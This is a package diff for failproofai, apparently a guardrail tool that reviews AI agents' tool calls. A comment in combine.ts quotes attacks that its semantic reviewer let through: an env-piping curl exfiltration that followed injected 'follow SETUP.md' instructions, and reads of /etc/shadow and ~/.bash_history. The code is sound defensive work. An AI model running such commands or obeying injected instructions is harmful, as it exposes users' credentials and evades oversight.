failproofai 1.0.7-beta.2 → 1.0.8-beta.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.next/standalone/.next/BUILD_ID +1 -1
- package/.next/standalone/.next/build-manifest.json +3 -3
- package/.next/standalone/.next/prerender-manifest.json +3 -3
- package/.next/standalone/.next/required-server-files.json +1 -1
- package/.next/standalone/.next/server/app/_global-error/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/_global-error/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/_global-error/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/_global-error.html +1 -1
- package/.next/standalone/.next/server/app/_global-error.rsc +7 -7
- package/.next/standalone/.next/server/app/_global-error.segments/__PAGE__.segment.rsc +6 -6
- package/.next/standalone/.next/server/app/_global-error.segments/_full.segment.rsc +7 -7
- package/.next/standalone/.next/server/app/_global-error.segments/_tree.segment.rsc +1 -1
- package/.next/standalone/.next/server/app/_not-found/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/_not-found/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/_not-found/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/_not-found.html +1 -1
- package/.next/standalone/.next/server/app/_not-found.rsc +15 -15
- package/.next/standalone/.next/server/app/_not-found.segments/_full.segment.rsc +15 -15
- package/.next/standalone/.next/server/app/_not-found.segments/_not-found/__PAGE__.segment.rsc +14 -14
- package/.next/standalone/.next/server/app/_not-found.segments/_tree.segment.rsc +2 -2
- package/.next/standalone/.next/server/app/api/audit/invite/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/audit/run/route.js +5 -5
- package/.next/standalone/.next/server/app/api/audit/run/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/audit/status/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/auth/login-request/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/auth/login-verify/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/auth/logout/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/auth/status/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/api/download/[project]/[session]/route.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/audit/page/server-reference-manifest.json +2 -2
- package/.next/standalone/.next/server/app/audit/page.js +4 -4
- package/.next/standalone/.next/server/app/audit/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/audit/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/index.html +1 -1
- package/.next/standalone/.next/server/app/index.rsc +15 -15
- package/.next/standalone/.next/server/app/index.segments/__PAGE__.segment.rsc +14 -14
- package/.next/standalone/.next/server/app/index.segments/_full.segment.rsc +15 -15
- package/.next/standalone/.next/server/app/index.segments/_tree.segment.rsc +2 -2
- package/.next/standalone/.next/server/app/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/policies/page/server-reference-manifest.json +14 -14
- package/.next/standalone/.next/server/app/policies/page.js +6 -7
- package/.next/standalone/.next/server/app/policies/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/policies/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/project/[name]/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/project/[name]/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/project/[name]/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/react-loadable-manifest.json +2 -2
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page/server-reference-manifest.json +2 -2
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js +2 -2
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/project/[name]/session/[sessionId]/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/projects/page/server-reference-manifest.json +1 -1
- package/.next/standalone/.next/server/app/projects/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/projects/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/app/settings/page/server-reference-manifest.json +18 -7
- package/.next/standalone/.next/server/app/settings/page.js +9 -7
- package/.next/standalone/.next/server/app/settings/page.js.nft.json +1 -1
- package/.next/standalone/.next/server/app/settings/page_client-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/chunks/{[externals]__1j-zsg5._.js → [externals]__20kzpkf._.js} +1 -1
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__0l3yhx4._.js +2 -2
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__0o07qi9._.js +1 -1
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__1ttrwnd._.js +22 -0
- package/.next/standalone/.next/server/chunks/_09dz7xv._.js +20 -20
- package/.next/standalone/.next/server/chunks/_0tovk6q._.js +1 -1
- package/.next/standalone/.next/server/chunks/_0trp3yc._.js +1 -1
- package/.next/standalone/.next/server/chunks/_1ek68ln._.js +9 -9
- package/.next/standalone/.next/server/chunks/_1q5i8mb._.js +1 -1
- package/.next/standalone/.next/server/chunks/lib_16xa545._.js +3 -0
- package/.next/standalone/.next/server/chunks/package_json_[json]_cjs_1nxcc4v._.js +1 -1
- package/.next/standalone/.next/server/chunks/src_hooks_1aveq0u._.js +5 -0
- package/.next/standalone/.next/server/chunks/src_hooks_1eem5a7._.js +3 -0
- package/.next/standalone/.next/server/chunks/src_hooks_custom-hooks-loader_ts_0lnb3n3._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/[externals]__0ohnuzs._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__04usis8._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__056wjo4._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0qxnccm._.js → [root-of-the-server]__06pflha._.js} +2 -4
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0n0xg95._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0rwtwpm._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__11mayhe._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0soxz2z._.js → [root-of-the-server]__12e7nhs._.js} +2 -2
- package/.next/standalone/.next/server/chunks/ssr/{[root-of-the-server]__0l44ual._.js → [root-of-the-server]__14o3ek1._.js} +2 -2
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__15578wp._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__19evfi8._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1m_svbe._.js +4 -0
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1pprgri._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__1q4p5b8._.js +2 -2
- package/.next/standalone/.next/server/chunks/ssr/_042cgl1._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/_08x1r5t._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/_0bqoto4._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/{_1v-jvrv._.js → _0o4xkpl._.js} +1 -1
- package/.next/standalone/.next/server/chunks/ssr/{_1mel6y1._.js → _1-7sqrb._.js} +2 -2
- package/.next/standalone/.next/server/chunks/ssr/_1gb0ifp._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/_1zopuov._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/_next-internal_server_app_policies_page_actions_1sp2-yo.js +13 -13
- package/.next/standalone/.next/server/chunks/ssr/app_actions_get-scheduled-audit_ts_0ei9sni._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/app_audit__components_audit-dashboard_tsx_0p9ud47._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/app_global-error_tsx_1kp6l3x._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/app_policies_hooks-client_tsx_19dqvpc._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/app_settings_02tf1h4._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/node_modules_next_0aiy-os._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_0-q0umm._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_06kzv9d._.js +12 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_0g194sy._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_1cv9_c4._.js +12 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_1kx9e0d._.js +3 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_effective-reviewers_ts_1h4wtvo._.js +5 -0
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-config_ts_04t589g._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_fp-home_ts_0je3xkv._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_pack-cli_ts_0t7me65._.js +1 -1
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_semantic_pack-policies_ts_0gh_bu_._.js +3 -0
- package/.next/standalone/.next/server/middleware-build-manifest.js +3 -3
- package/.next/standalone/.next/server/pages/404.html +1 -1
- package/.next/standalone/.next/server/pages/500.html +1 -1
- package/.next/standalone/.next/server/server-reference-manifest.js +1 -1
- package/.next/standalone/.next/server/server-reference-manifest.json +33 -22
- package/.next/standalone/.next/static/chunks/078gnymqoh3r4.js +1 -0
- package/.next/standalone/.next/static/chunks/{3brze37td_wnc.js → 0ahfwmbkpgfw4.js} +1 -1
- package/.next/standalone/.next/static/chunks/{043j99m8ykg__.css → 0bhidk90e-07f.css} +1 -1
- package/.next/standalone/.next/static/chunks/1bu2-nv59ed6i.js +1 -0
- package/.next/standalone/.next/static/chunks/{3ugmd_7dyn0id.js → 1v_tp3hm8wyhe.js} +1 -1
- package/.next/standalone/.next/static/chunks/2a405_e1o26ol.js +1 -0
- package/.next/standalone/.next/static/chunks/{3yxro_r2_o9ad.js → 2vo7qbdbvnc0o.js} +1 -1
- package/.next/standalone/.next/static/chunks/{0fqd7m_u81mi5.js → 2z7i-yg59w4pn.js} +1 -1
- package/.next/standalone/.next/static/chunks/36uhh9el_oz8e.js +1 -0
- package/.next/standalone/.next/static/chunks/{129ag2bw93bdh.js → 3bgot5v6f6s3c.js} +1 -1
- package/.next/standalone/.next/static/chunks/{3otmypm6j_xfo.js → 3o3f1ibfci0p7.js} +2 -2
- package/.next/standalone/SECURITY.md +53 -0
- package/.next/standalone/app/actions/get-jev-config.ts +194 -14
- package/.next/standalone/app/actions/update-jev-config.ts +160 -11
- package/.next/standalone/app/policies/hooks-client.tsx +5 -3
- package/.next/standalone/app/settings/jev-panel.tsx +169 -12
- package/.next/standalone/fp-cloud-cli/CHANGELOG.md +22 -4
- package/.next/standalone/fp-cloud-cli/fp_cli/client.py +14 -1
- package/.next/standalone/fp-cloud-cli/fp_cli/commands/keys_cmds.py +17 -3
- package/.next/standalone/fp-cloud-cli/fp_cli/commands/policies_cmds.py +3 -0
- package/.next/standalone/fp-cloud-cli/fp_cli/permissions.py +22 -0
- package/.next/standalone/fp-cloud-cli/fp_cli/policy_check.py +169 -0
- package/.next/standalone/fp-cloud-cli/skill/references/commands.md +1 -1
- package/.next/standalone/fp-cloud-cli/tests/test_keys_queries.py +65 -0
- package/.next/standalone/fp-cloud-cli/tests/test_policy_check.py +61 -0
- package/.next/standalone/package.json +9 -9
- package/.next/standalone/sdk/python/CHANGELOG.md +7 -0
- package/.next/standalone/sdk/python/failproofai_sdk/_version.py +1 -1
- package/.next/standalone/sdk/typescript/CHANGELOG.md +15 -1
- package/.next/standalone/sdk/typescript/integration/fixtures/ai-4/package-lock.json +10 -30
- package/.next/standalone/sdk/typescript/integration/fixtures/ai-4/package.json +3 -0
- package/.next/standalone/sdk/typescript/integration/fixtures/ai-5/package-lock.json +4 -16
- package/.next/standalone/sdk/typescript/integration/fixtures/ai-5/package.json +3 -0
- package/.next/standalone/sdk/typescript/integration/fixtures/langchain-0.3/package-lock.json +13 -132
- package/.next/standalone/sdk/typescript/integration/fixtures/langchain-0.3/package.json +4 -0
- package/.next/standalone/sdk/typescript/integration/fixtures/langchain-dup-core/package-lock.json +4 -142
- package/.next/standalone/sdk/typescript/integration/fixtures/langchain-dup-core/package.json +4 -0
- package/.next/standalone/sdk/typescript/integration/fixtures/mastra-0/package-lock.json +1396 -1016
- package/.next/standalone/sdk/typescript/integration/fixtures/mastra-0/package.json +9 -0
- package/.next/standalone/sdk/typescript/scripts/release.mjs +30 -0
- package/.next/standalone/server.js +1 -1
- package/README.md +1 -0
- package/bin/failproofai.mjs +37 -6
- package/dist/cli.mjs +2861 -1145
- package/dist/worker.mjs +815 -197
- package/package.json +9 -9
- package/src/hooks/builtin-policies.ts +24 -6
- package/src/hooks/cloud-connection.ts +190 -1
- package/src/hooks/cloud-enrollment-cli.ts +56 -7
- package/src/hooks/cloud-introspect.ts +6 -0
- package/src/hooks/configure-wizard.ts +26 -6
- package/src/hooks/custom-hooks-loader.ts +58 -8
- package/src/hooks/effective-reviewers.ts +172 -8
- package/src/hooks/flush-cli.ts +35 -8
- package/src/hooks/fp-config.ts +266 -1
- package/src/hooks/fp-reset.ts +22 -4
- package/src/hooks/handler.ts +44 -7
- package/src/hooks/hook-activity-store.ts +13 -5
- package/src/hooks/jev-cli.ts +1009 -86
- package/src/hooks/jev-cloud-connection.ts +392 -0
- package/src/hooks/manager.ts +44 -6
- package/src/hooks/pack-cli.ts +175 -37
- package/src/hooks/pack-failclosed.ts +3 -0
- package/src/hooks/pack-manifest.ts +11 -1
- package/src/hooks/pack-store.ts +47 -10
- package/src/hooks/policy-authority.ts +73 -20
- package/src/hooks/policy-catalog.ts +10 -8
- package/src/hooks/policy-evaluator.ts +31 -8
- package/src/hooks/policy-registry.ts +3 -2
- package/src/hooks/policy-reviewability.ts +41 -12
- package/src/hooks/policy-types.ts +5 -3
- package/src/hooks/semantic/combine.ts +124 -84
- package/src/hooks/semantic/decide.ts +16 -0
- package/src/hooks/semantic/envelope.ts +18 -59
- package/src/hooks/semantic/evaluator.ts +11 -2
- package/src/hooks/semantic/facts.ts +7 -1
- package/src/hooks/semantic/intent.ts +8 -8
- package/src/hooks/semantic/jev-client.ts +540 -28
- package/src/hooks/semantic/jev-config.ts +586 -38
- package/src/hooks/semantic/jev-review.ts +26 -11
- package/src/hooks/semantic/jev-throttle.ts +8 -2
- package/src/hooks/semantic/pack-policies.ts +58 -15
- package/src/hooks/semantic/policies.ts +4 -3
- package/src/hooks/semantic/redact.ts +28 -1
- package/src/hooks/semantic/session-root.ts +116 -0
- package/src/hooks/semantic/types.ts +11 -0
- package/src/hooks/tui.ts +4 -0
- package/src/hooks/worker-server.ts +2 -1
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__0cuho4x._.js +0 -3
- package/.next/standalone/.next/server/chunks/[root-of-the-server]__1bf34x4._.js +0 -22
- package/.next/standalone/.next/server/chunks/src_hooks_01frwmb._.js +0 -5
- package/.next/standalone/.next/server/chunks/src_hooks_18qtd42._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/[root-of-the-server]__0s_yomn._.js +0 -4
- package/.next/standalone/.next/server/chunks/ssr/_1feuvhb._.js +0 -5
- package/.next/standalone/.next/server/chunks/ssr/_1w_5l7t._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_095a_79._.js +0 -5
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_15t8kqj._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_18k8rl0._.js +0 -12
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_1fm2w5z._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_1j0zy3v._.js +0 -3
- package/.next/standalone/.next/server/chunks/ssr/src_hooks_builtin-policies_ts_09j2ndl._.js +0 -3
- package/.next/standalone/.next/static/chunks/1qd741hzlmjbo.js +0 -1
- package/.next/standalone/.next/static/chunks/2_pltstd8-xgs.js +0 -1
- package/.next/standalone/.next/static/chunks/2c8j9l6j_b1ci.js +0 -1
- package/.next/standalone/.next/static/chunks/3-k569wzcli8q.js +0 -1
- /package/.next/standalone/.next/static/{gbEOjBgZAxF2UIUwZVHNu → O_b5R1axf5cb4NxIXq2kS}/_buildManifest.js +0 -0
- /package/.next/standalone/.next/static/{gbEOjBgZAxF2UIUwZVHNu → O_b5R1axf5cb4NxIXq2kS}/_clientMiddlewareManifest.js +0 -0
- /package/.next/standalone/.next/static/{gbEOjBgZAxF2UIUwZVHNu → O_b5R1axf5cb4NxIXq2kS}/_ssgManifest.js +0 -0
|
@@ -62,54 +62,38 @@
|
|
|
62
62
|
*
|
|
63
63
|
* "Jev can only clear what it was actually asked about": a reviewable
|
|
64
64
|
* policy's deny or instruct is cleared only if EVERY semantic policy named in
|
|
65
|
-
* its `reviewedBy` was among the ones put to Jev for this call AND
|
|
66
|
-
*
|
|
67
|
-
*
|
|
68
|
-
*
|
|
69
|
-
*
|
|
70
|
-
*
|
|
71
|
-
*
|
|
72
|
-
*
|
|
73
|
-
*
|
|
74
|
-
*
|
|
75
|
-
*
|
|
76
|
-
*
|
|
77
|
-
*
|
|
78
|
-
*
|
|
79
|
-
*
|
|
80
|
-
*
|
|
81
|
-
*
|
|
82
|
-
*
|
|
83
|
-
*
|
|
84
|
-
*
|
|
85
|
-
*
|
|
86
|
-
*
|
|
87
|
-
*
|
|
88
|
-
*
|
|
89
|
-
*
|
|
90
|
-
*
|
|
91
|
-
*
|
|
92
|
-
*
|
|
93
|
-
*
|
|
94
|
-
*
|
|
95
|
-
*
|
|
96
|
-
*
|
|
97
|
-
* clears makes Jev's OWN decision an instruct (`decide.ts` — any instruct
|
|
98
|
-
* outcome makes the verdict an instruct), and that instruct joins the
|
|
99
|
-
* most-severe merge below. So the call comes out a WARNING that says what is
|
|
100
|
-
* actually wrong with it, in Jev's words, instead of a block in the regex
|
|
101
|
-
* policy's words. A clear here converts a deny into a warning; it does not
|
|
102
|
-
* convert it into silence.
|
|
103
|
-
*
|
|
104
|
-
* What this deliberately does NOT relax is WHICH questions must have been
|
|
105
|
-
* asked. The gate is still `asked.has(name) && …` for every name in
|
|
106
|
-
* `reviewedBy`: a check whose precondition was false, that does not apply to
|
|
107
|
-
* this tool class, or that is misspelled was never put to Jev, so there is no
|
|
108
|
-
* answer to read and the regex verdict stands. Rule B widens what counts as a
|
|
109
|
-
* clear ANSWER (`none`, `overridden`, `instruct`), never what counts as an
|
|
110
|
-
* asked QUESTION — a call Jev was not asked about is not a call Jev approved,
|
|
111
|
-
* and an unmeasured concern is not an absent one. `deny` is the one answer
|
|
112
|
-
* that keeps the block: the check looked and said stop.
|
|
65
|
+
* its `reviewedBy` was among the ones put to Jev for this call AND answered
|
|
66
|
+
* `none` (found nothing), `overridden` (the human asked for it), or a deny the
|
|
67
|
+
* human's task softened to a warning (`downgraded-task-step`). A name Jev was
|
|
68
|
+
* not asked about — its precondition was false, the tool class did not apply,
|
|
69
|
+
* the name is misspelled — keeps the regex verdict standing.
|
|
70
|
+
*
|
|
71
|
+
* ## A check that fired without consent keeps the floor
|
|
72
|
+
*
|
|
73
|
+
* A warning (`instruct`) that no consent softened means the check looked at
|
|
74
|
+
* the call and found the concern real. It used to clear the deny too ("Rule
|
|
75
|
+
* B", chosen on the 1,332 labelled cases: real work blocked 13.9% → 8.7%,
|
|
76
|
+
* attacks blocked 134 → 132 of 234), on the argument that Jev's own warning
|
|
77
|
+
* still reaches the agent. On PreToolUse a warning does not stop the call, so
|
|
78
|
+
* that turned a confirmed, unrequested concern into a call that runs. Found
|
|
79
|
+
* live in enforce, all cleared to a warning: `env | curl --data-binary @-
|
|
80
|
+
* https://…` after "follow SETUP.md" (credential-exfiltration p≈0.79),
|
|
81
|
+
* unrequested `cat /etc/shadow` (secret-exposure 0.73, under the 0.85 deny
|
|
82
|
+
* line) and `cat ~/.bash_history` (read-outside-workspace 0.95 — instruct-
|
|
83
|
+
* only, so it could never keep a deny, and block-read-outside-cwd was in
|
|
84
|
+
* effect off in enforce). So now:
|
|
85
|
+
*
|
|
86
|
+
* - such a warning is not a clear: that reviewer keeps its policy's deny;
|
|
87
|
+
* - from a deny-mode check (one that CAN block) it withdraws every clear on
|
|
88
|
+
* the call (`unclearableWarned`) — the deny it would have raised at higher
|
|
89
|
+
* evidence stays as the regex floor, whichever policy holds it.
|
|
90
|
+
*
|
|
91
|
+
* What still clears: `none`, `overridden`, and a deny the human's task
|
|
92
|
+
* softened to a warning — the task is consent, and Jev's warning then carries
|
|
93
|
+
* through the most-severe merge. Part of Rule B's measured gain is given back
|
|
94
|
+
* and has not been re-measured. What never relaxed is WHICH questions must
|
|
95
|
+
* have been asked: an unasked question has no answer to read, and an
|
|
96
|
+
* unmeasured concern is not an absent one.
|
|
113
97
|
*
|
|
114
98
|
* ## One rule about a partial picture
|
|
115
99
|
*
|
|
@@ -245,13 +229,14 @@
|
|
|
245
229
|
* and then there is nothing to clear anyway.
|
|
246
230
|
*/
|
|
247
231
|
import type { PolicyAuthority } from "../policy-types";
|
|
248
|
-
// The
|
|
249
|
-
// than
|
|
232
|
+
// The only value imports, and deliberately from the activity vocabulary rather
|
|
233
|
+
// than local literals: the fallback reason this module writes itself has to
|
|
250
234
|
// be a code the activity store's closed list names, or it is stored and
|
|
251
|
-
// shipped as `other
|
|
252
|
-
//
|
|
253
|
-
//
|
|
254
|
-
|
|
235
|
+
// shipped as `other`, and a shadow verdict's model id has to pass the same
|
|
236
|
+
// shape check the row's own `jevModel` does. Importing them makes a rename a
|
|
237
|
+
// compile error here. `jev-activity.ts` is pure (no node imports, no semantic
|
|
238
|
+
// modules), so this costs the hook path nothing.
|
|
239
|
+
import { JEV_MODEL_RE, JEV_REASON_REQUEST_CUT } from "../jev-activity";
|
|
255
240
|
|
|
256
241
|
export type Decision = "allow" | "deny" | "instruct";
|
|
257
242
|
export type JevMode = "shadow" | "enforce";
|
|
@@ -298,16 +283,15 @@ export type JevReview =
|
|
|
298
283
|
reason: string | null;
|
|
299
284
|
/** Attribution for Jev's own deny/instruct, e.g. `semantic/destructive-deletion`. */
|
|
300
285
|
policyName: string;
|
|
286
|
+
/** The pack that declared `policyName`'s check, when a pack did. */
|
|
287
|
+
origin?: { packId: string; packVersion?: string };
|
|
301
288
|
/** Semantic policies whose questions were in the request that was answered. */
|
|
302
289
|
asked: readonly string[];
|
|
303
290
|
/**
|
|
304
|
-
* Of `asked`, the ones whose
|
|
305
|
-
* `overridden
|
|
306
|
-
*
|
|
307
|
-
*
|
|
308
|
-
* holds rather than for what it is used for, because "clear" once meant
|
|
309
|
-
* `none`/`overridden` only and a silent widening of that set is exactly
|
|
310
|
-
* the mistake this name prevents.
|
|
291
|
+
* Of `asked`, the ones whose answer lets a reviewable regex verdict be
|
|
292
|
+
* cleared: `none`, `overridden`, or a deny the human's task softened to
|
|
293
|
+
* an instruct. Neither a `deny` nor a warning nobody consented to is in
|
|
294
|
+
* it; see "A check that fired without consent keeps the floor" above.
|
|
311
295
|
*/
|
|
312
296
|
notDenied: readonly string[];
|
|
313
297
|
/**
|
|
@@ -317,6 +301,12 @@ export type JevReview =
|
|
|
317
301
|
injectionAsked: boolean;
|
|
318
302
|
/** The injection probe held: every clear is withdrawn. */
|
|
319
303
|
injected: boolean;
|
|
304
|
+
/**
|
|
305
|
+
* A deny-mode check fired at WARNING level and no consent softened it:
|
|
306
|
+
* every clear is withdrawn. See "A check that fired without consent
|
|
307
|
+
* keeps the floor" above. Absent reads as false.
|
|
308
|
+
*/
|
|
309
|
+
unclearableWarned?: boolean;
|
|
320
310
|
/**
|
|
321
311
|
* Something did not fit: a human turn, the agent's last message, or what
|
|
322
312
|
* the intent store had already capped (`SemanticOutcome.truncated`).
|
|
@@ -392,6 +382,23 @@ export interface JevActivityFields {
|
|
|
392
382
|
jevMode: JevMode;
|
|
393
383
|
}
|
|
394
384
|
|
|
385
|
+
/**
|
|
386
|
+
* Jev's own deny or instruct in SHADOW mode — the verdict enforce mode would
|
|
387
|
+
* have applied, recorded rather than applied. The handler files it in the
|
|
388
|
+
* activity row's `observed` list, the "would have" record observe-mode cloud
|
|
389
|
+
* and pack policies already use, so FailproofAI Cloud's policy page counts it
|
|
390
|
+
* with no change on its side.
|
|
391
|
+
*/
|
|
392
|
+
export interface ShadowVerdict {
|
|
393
|
+
/** `semantic/<check>` — the name enforce mode would have attributed it to. */
|
|
394
|
+
policyName: string;
|
|
395
|
+
decision: "deny" | "instruct";
|
|
396
|
+
/** The same fixed template reason enforce mode would have shown. */
|
|
397
|
+
reason: string;
|
|
398
|
+
/** The Jev model id that answered, or `jev` when it named none this build can store. */
|
|
399
|
+
version: string;
|
|
400
|
+
}
|
|
401
|
+
|
|
395
402
|
export interface CombineOutcome {
|
|
396
403
|
final: FinalVerdict;
|
|
397
404
|
/** Reviewable regex policies Jev cleared (in shadow: would have cleared). */
|
|
@@ -406,6 +413,12 @@ export interface CombineOutcome {
|
|
|
406
413
|
*/
|
|
407
414
|
decidedByJev: boolean;
|
|
408
415
|
activity: JevActivityFields;
|
|
416
|
+
/**
|
|
417
|
+
* Shadow mode only, and only when Jev's own verdict was deny or instruct.
|
|
418
|
+
* Absent otherwise — including every enforce outcome, where the verdict was
|
|
419
|
+
* APPLIED and `decidedByJev` / the final entries already say so.
|
|
420
|
+
*/
|
|
421
|
+
shadowVerdict?: ShadowVerdict;
|
|
409
422
|
}
|
|
410
423
|
|
|
411
424
|
/**
|
|
@@ -433,13 +446,10 @@ export function regexOnly(verdicts: readonly RegexVerdict[]): FinalVerdict {
|
|
|
433
446
|
*
|
|
434
447
|
* The rule, exactly: a REVIEWABLE deny or instruct that names at least one
|
|
435
448
|
* reviewer is cleared when EVERY name in its `reviewedBy` was ASKED on this
|
|
436
|
-
* call AND
|
|
437
|
-
*
|
|
438
|
-
*
|
|
439
|
-
*
|
|
440
|
-
* a name that was never asked still blocks the clear, whatever the others
|
|
441
|
-
* said, because an unasked question has no answer to read. A `hard` verdict
|
|
442
|
-
* and a reviewable one naming nobody are never cleared at all.
|
|
449
|
+
* call AND is in `notDenied` (see "A check that fired without consent keeps
|
|
450
|
+
* the floor" above). A name that was never asked blocks the clear, whatever
|
|
451
|
+
* the others said, because an unasked question has no answer to read. A
|
|
452
|
+
* `hard` verdict and a reviewable one naming nobody are never cleared at all.
|
|
443
453
|
*/
|
|
444
454
|
function clears(v: RegexVerdict, asked: ReadonlySet<string>, notDenied: ReadonlySet<string>): boolean {
|
|
445
455
|
if (v.decision === "allow" || v.authority !== "reviewable") return false;
|
|
@@ -483,7 +493,13 @@ export function combineTwoTier(
|
|
|
483
493
|
const wholePicture = review.injectionAsked && !review.injected && !review.requestCut;
|
|
484
494
|
const asked = new Set(review.asked);
|
|
485
495
|
const notDenied = new Set(review.notDenied);
|
|
486
|
-
const cleared = wholePicture ? verdicts.filter((v) => clears(v, asked, notDenied)).map((v) => v.policyName) : [];
|
|
496
|
+
const cleared = wholePicture && !review.unclearableWarned ? verdicts.filter((v) => clears(v, asked, notDenied)).map((v) => v.policyName) : [];
|
|
497
|
+
|
|
498
|
+
// Built once, for both modes: enforce applies it, shadow records it, and the
|
|
499
|
+
// two must never disagree about what the verdict WAS.
|
|
500
|
+
const jevEntry = { policyName: review.policyName, reason: review.reason ?? `Flagged by semantic review (${review.policyName})` };
|
|
501
|
+
const enforced = resolveEnforce(verdicts, cleared, review.decision, jevEntry);
|
|
502
|
+
|
|
487
503
|
const activity: JevActivityFields = {
|
|
488
504
|
// §4 records a call the tier could not read whole as a fallback, and so do
|
|
489
505
|
// we — its clearing half really was off. The decision below is still
|
|
@@ -494,30 +510,59 @@ export function combineTwoTier(
|
|
|
494
510
|
evaluator: review.requestCut ? "jev-fallback" : "jev",
|
|
495
511
|
...(review.requestCut ? { jevFallbackReason: JEV_REASON_REQUEST_CUT } : {}),
|
|
496
512
|
jevDecision: review.decision,
|
|
497
|
-
|
|
513
|
+
// Only a clear that SOFTENED the call (in shadow: would have). One that
|
|
514
|
+
// Jev's own deny, or another regex deny, still decided over changed
|
|
515
|
+
// nothing — and `jev status` and the policy page's "Cleared by Jev" both
|
|
516
|
+
// read `jevCleared` as calls Jev let through.
|
|
517
|
+
...(cleared.length > 0 && RANK[enforced.final.decision] < RANK[legacy.decision] ? { jevCleared: cleared } : {}),
|
|
498
518
|
...(review.latencyMs !== null ? { jevLatencyMs: review.latencyMs } : {}),
|
|
499
519
|
...(review.model ? { jevModel: review.model } : {}),
|
|
500
520
|
jevMode: mode,
|
|
501
521
|
};
|
|
502
522
|
|
|
503
|
-
if (mode === "shadow")
|
|
523
|
+
if (mode === "shadow") {
|
|
524
|
+
// Jev's own deny or instruct, exactly as enforce mode would have applied it
|
|
525
|
+
// (upward only: a cut or injected call keeps it, as the enforce branch
|
|
526
|
+
// below does). A clear is recorded in `jevCleared`, not here.
|
|
527
|
+
const shadowVerdict: ShadowVerdict | undefined =
|
|
528
|
+
review.decision === "deny" || review.decision === "instruct"
|
|
529
|
+
? {
|
|
530
|
+
policyName: jevEntry.policyName,
|
|
531
|
+
decision: review.decision,
|
|
532
|
+
reason: jevEntry.reason,
|
|
533
|
+
// The model id is shape-checked like the row's own `jevModel`, so
|
|
534
|
+
